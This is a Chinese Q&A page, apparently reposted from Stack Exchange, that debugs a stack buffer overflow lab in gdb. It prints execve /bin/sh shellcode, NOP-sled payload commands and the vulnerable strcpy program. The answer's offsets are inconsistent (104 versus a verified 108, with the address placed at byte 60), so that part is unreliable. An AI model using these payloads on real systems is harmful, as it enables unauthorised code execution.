You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

缓冲区溢出测试中Shellcode注入未达预期输出的问题排查

缓冲区溢出Shellcode注入问题

问题重现

  1. EIP偏移验证成功
    执行命令:

    run $(python -c 'print("A"*108 + "BBBB")')
    

    程序触发段错误,输出:

    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    

    确认EIP已被BBBB成功覆盖。

  2. Shellcode注入异常
    尝试注入包含NOP滑区、Shellcode和B填充的payload:

    run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')
    

    程序触发段错误,但EIP未被B覆盖,输出:

    Program received signal SIGSEGV, Segmentation fault.
    0x90c290c2 in ?? ()
    
  3. 调整参数后偶然正常运行
    将NOP数量减至35,B数量增至48时,程序可正常执行Shellcode,但存在两个疑问:

    • 为何更多NOP+更少B的组合无法生效?
    • 调试栈时看不到任何NOP:
      (gdb) x/200x $esp
      0xffffd2a0: 0x42424242  0x42424242  0x42424242  0x42424242
      0xffffd2b0: 0x42424242  0x42424242  0x42424242  0x42424242
      0xffffd2c0: 0x42424242  0x42424242  0x00424242  0x00000001
      ...(后续栈内容省略)
      

环境信息

  • Python版本:3.x
  • Shellcode长度:25字节
  • 已禁用ASLR
  • 测试用C代码:
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char** argv){
        char buffer[100];
        strcpy(buffer, argv[1]);
    
        return 0;
    }
    

问题原因分析

  1. Python 3 print()的编码破坏
    Python 3中print()默认处理Unicode字符串,输出时会将\x90这类二进制字节按系统默认编码(如UTF-8)转换,而\x90是UTF-8的无效字节,会被替换为乱码字符,直接破坏NOP滑区和Shellcode的结构。这也是栈中看不到NOP的核心原因——实际写入栈的不是\x90,而是编码后的错误字节。

  2. Payload长度与栈布局不匹配
    当NOP数量过多时,加上Shellcode和B的总长度可能超出命令行参数的字节限制,或者导致栈中EIP覆盖位置偏移,使得B无法正确覆盖EIP,反而让错误的编码字节覆盖了EIP(如0x90c290c2就是乱码字节的组合)。

  3. EIP覆盖逻辑错误
    测试中用B填充EIP位置是错误的,正确做法应该是用栈中Shellcode的起始地址覆盖EIP,而非无意义的B字符。调整参数后偶然成功,只是因为长度巧合让EIP被覆盖到了包含Shellcode的栈区域。

解决方案

  1. 输出原始二进制Payload
    使用Python的sys.stdout.buffer.write()输出原始字节,避免编码转换:

    run $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*35 + b"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + b"\xXX\xXX\xXX\xXX" + b"A"*44)')
    

    其中\xXX\xXX\xXX\xXX需替换为gdb中查到的Shellcode所在栈地址(可通过x/100x $esp-150查看缓冲区位置)。

  2. 精确计算Payload长度
    缓冲区为100字节,加上EBP的4字节,EIP偏移应为104字节(需根据实际栈布局调整)。Payload结构应为:
    NOP滑区 + Shellcode + 填充至EIP偏移 + 覆盖EIP的Shellcode地址 + 后续填充

  3. 调试时确认缓冲区内容
    在gdb中设置断点在strcpy之后,用x/s buffer查看缓冲区实际内容,确认Payload是否正确写入,而非直接查看$esp($esp位置不一定指向缓冲区)。

内容的提问来源于stack exchange,提问作者r3k0j

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.28 15:42:03